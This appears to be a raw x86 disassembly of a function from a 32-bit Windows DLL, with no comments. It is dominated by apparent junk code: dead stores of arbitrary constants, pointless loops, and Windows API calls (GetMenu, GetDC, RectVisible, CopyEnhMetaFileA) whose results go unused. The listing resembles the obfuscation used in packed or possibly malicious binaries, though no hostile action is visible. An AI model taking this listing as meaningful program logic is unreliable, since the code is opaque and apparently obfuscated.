mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x100330da
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x38]
sub edx, 0x15ecda5c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xfffffffa
jle 0x1003310d
cmp dword [ebp - 0x14], eax
je 0x1003310d
lea ecx, [eax + 1]
jmp 0x1003310f
mov ecx, eax
mov eax, dword [ebp - 0x14]
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x7163
jl 0x1003313a
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
sub ecx, ebx
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
sub eax, ebx
jne 0x1003316e
cmp dword [ebp - 0x10], eax
jne 0x1003316e
xor eax, eax
lea ecx, [eax + 1]
xor eax, eax
cmp ecx, 0x16851cc0
setge al
xor ebx, ebx
mov dword [ebp - 0x34], eax
inc ebx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], ebx
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
jmp 0x100331b0
xor ebx, ebx
mov dword [ebp - 0x38], 0xe3cec334
inc ebx
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop edi
cmp dword [ebp - 0x10], edi
jge 0x100331d5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x19c], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x100331bd
xor eax, eax
mov dword [ebp - 0x38], 0x4c506d44
lea ecx, [ebp - 0x10d0]
mov dword [ebp - 0x24], 0xb79df948
mov dword [ebp - 0x28], 0x955a63a7
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x50], 0xec7e318b
mov dword [ebp - 0x2c], 0xe65c3421
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x28], 0xf49dcb7b
push 3
mov dword [ebp - 0x44], eax
pop esi
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], eax
push esi
call fcn.10016f28
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x28], 0x5f2f
mov dword [ebp - 0x28], 0xec62d7fa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003325c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10c0], 0x7fd5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033244
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10033282
push dword [ebp - 0x10]
lea ecx, [ebp - 0x10d0]
call fcn.10016fc6
mov dword [eax], 0x947e29ac
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033264
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edi
jg 0x10033440
push 4
pop eax
push eax
lea ecx, [ebp - 0x3b4]
call fcn.10016f28
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x11ec]
mov dword [ebp - 0x3c], 0xa9017ca4
mov dword [ebp - 0x28], 0xf219a6fd
mov dword [ebp - 0x28], 0xe779066
mov dword [ebp - 0x28], 0x426f3791
push esi
call fcn.10016f28
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0xfff7
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x10033305
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x30], 0x4d43
push 0xfffffffffffffffd
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, ebx
jg 0x1003345c
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x3c], 0x5e08cccd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100336b1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb80], 0x342e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10033699
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x24], eax
inc ebx
jmp 0x100336d0
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x100336cd
call edi
push eax
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x100336b9
mov eax, dword [ebp - 0xb7c]
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0xb80]
push 5
setg dl
sub eax, edx
mov dword [ebp - 0x24], eax
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003372e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3ec], 0xfffffffc
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x10033713
xor eax, eax
push 0x1d
mov dword [ebp - 0x24], eax
pop ebx
cmp dword [ebp - 0x24], ebx
jg 0x1003382f
mov dword [ebp - 0x38], 0xfffffffb
lea ecx, [ebp - 0xef4]
or eax, 0xffffffff
mov dword [ebp - 0x40], 0x837a
mov dword [ebp - 0x3c], eax
push esi
call fcn.10016f28
xor eax, eax
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1003378c
push dword [ebp - 0x14]
lea ecx, [ebp - 0xef4]
call fcn.10016fc6
mov dword [eax], 0xb1510afb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003376e
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jl 0x100337ad
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + eax*4 - 0x3ec]
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x3ec], ecx
dec dword [ebp - 0x38]
jns 0x10033794
imul eax, dword [ebp - 0x40], 0xd45b
lea ecx, [ebp - 0xef4]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
xor eax, eax
push eax
call fcn.10016fc6
xor ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
mov ecx, 0xffff7b91
mov eax, dword [ebp - 0x40]
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, 0xfffe
setne dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
setne cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xfd52
lea ecx, [ebp - 0xef4]
mov dword [ebp - 0x38], eax
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016faa
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1003373d
xor eax, eax
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x100339e3
mov dword [ebp - 0x4c], 0xd313dd33
mov ecx, 0xffff
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov dword [ebp - 0x34], 0x3758185f
inc ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1003387b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc0], 0xfe01bd97
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1003385d
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], esi
jge 0x100339d2
push 4
pop edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x24], 0x6fa4bc44
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jge 0x100338b7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15cc], 0xbd907c4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003389f
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x100339a9
mov dword [ebp - 0x3c], 0x29ed7d41
mov dword [ebp - 0x14], eax
jmp 0x100338e0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15b4], 0x59ea4d59
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100338cf
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc0]
sub edx, 0xd926
neg edx
push 5
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0xc0]
cmp edx, eax
setge cl
xor eax, eax
add ecx, 0x65251c60
cmp ecx, 0xaee50770
pop ecx
setne al
cmp ecx, eax
sbb edx, edx
xor ecx, ecx
neg edx
mov dword [ebp - 0x15ac], edx
mov eax, dword [ebp - 0x4c]
cmp edx, eax
setg cl
dec ecx
jne 0x1003394a
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0xc0], ecx
jne 0x1003394a
xor eax, eax
mov edx, eax
jmp 0x1003394f
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 4
mov eax, dword [ebp + eax*4 - 0xc0]
cmp eax, edx
setl cl
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
setne dl
sub edx, 0xc36b
mov dword [ebp - 0x24], edx
xor edx, edx
mov eax, dword [ebp - 0x24]
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x15cc]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setge dl
xor eax, eax
mov dword [ebp - 0x34], edx
inc dword [ebp - 0x10]
pop edx
cmp dword [ebp - 0x10], eax
jle 0x100338c3
xor ecx, ecx
inc ecx
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x24], eax
jmp 0x100339bd
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff9
jne 0x100339b1
inc dword [ebp - 0x4c]
push 0
pop eax
cmp dword [ebp - 0x4c], esi
jl 0x1003388a
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 3
pop eax
push eax
lea ecx, [ebp - 0x584]
call fcn.10016f28
xor eax, eax
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x14], eax
jmp 0x10033a11
push dword [ebp - 0x14]
call fcn.10016fc6
mov dword [eax], 0xf5540d7f
inc dword [ebp - 0x14]
push 3
pop eax
lea ecx, [ebp - 0x584]
cmp dword [ebp - 0x14], eax
jl 0x10033a00
push esi
call fcn.10016fc6
and dword [eax], 0
jmp 0x10033a61
xor eax, eax
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10033a4d
mov byte [ebp - 0x1d], al
cmp byte [ebp - 0x1d], 0
je 0x10033a4a
push eax
push eax
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jle 0x10033a37
push esi
lea ecx, [ebp - 0x584]
call fcn.10016fc6
inc dword [eax]
push esi
lea ecx, [ebp - 0x584]
call fcn.10016fc6
cmp dword [eax], 0x18
jg 0x10033a2a
or eax, 0xffffffff
lea ecx, [ebp - 0x584]
mov dword [ebp - 4], eax
call fcn.10016faa
movdqa xmm0, xmmword [0x10007be0]
lea eax, [ebp - 0x134c]
push eax
lea eax, [ebp - 0x135c]
push eax
lea ecx, [ebp - 0x14fc]
movdqu xmmword [ebp - 0x135c], xmm0
call fcn.10016fd8
lea ecx, [ebp - 0x17a]
mov esi, eax
call fcn.10016fd5
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x3cc]
push dword [esi]
call fcn.10016f84
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x38], 0x4c506d44
mov dword [ebp - 0x38], eax
jmp 0x10033ca8
push 2
pop esi
push esi
lea ecx, [ebp - 0x494]
call fcn.10016f28
xor eax, eax
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
jmp 0x10033b0d
push dword [ebp - 0x14]
call fcn.10016fc6
and dword [eax], 0
inc dword [ebp - 0x14]
lea ecx, [ebp - 0x494]
cmp dword [ebp - 0x14], esi
jl 0x10033aff
xor esi, esi
inc esi
push esi
call fcn.10016fc6
and dword [eax], 0
jmp 0x10033b4a
push 3
pop esi
cmp dword [ebp - 0x38], esi
jle 0x10033ae2
or edi, 0xffffffff
lea ecx, [ebp - 0x3cc]
mov dword [ebp - 4], edi
call fcn.10016faa
xor eax, eax
mov byte [ebp - 0x1d], al
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xce125d16
mov dword [ebp - 0x28], 0x69f4288a
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x28], 0x93ee3274
mov dword [ebp - 0x28], 0xb6968939
mov dword [ebp - 0x3c], 0x4dfecbe9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10033d13
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10e8], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10033cff
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10033d2c
cmp dword [ebp - 0x10], ecx
jl 0x10033d1b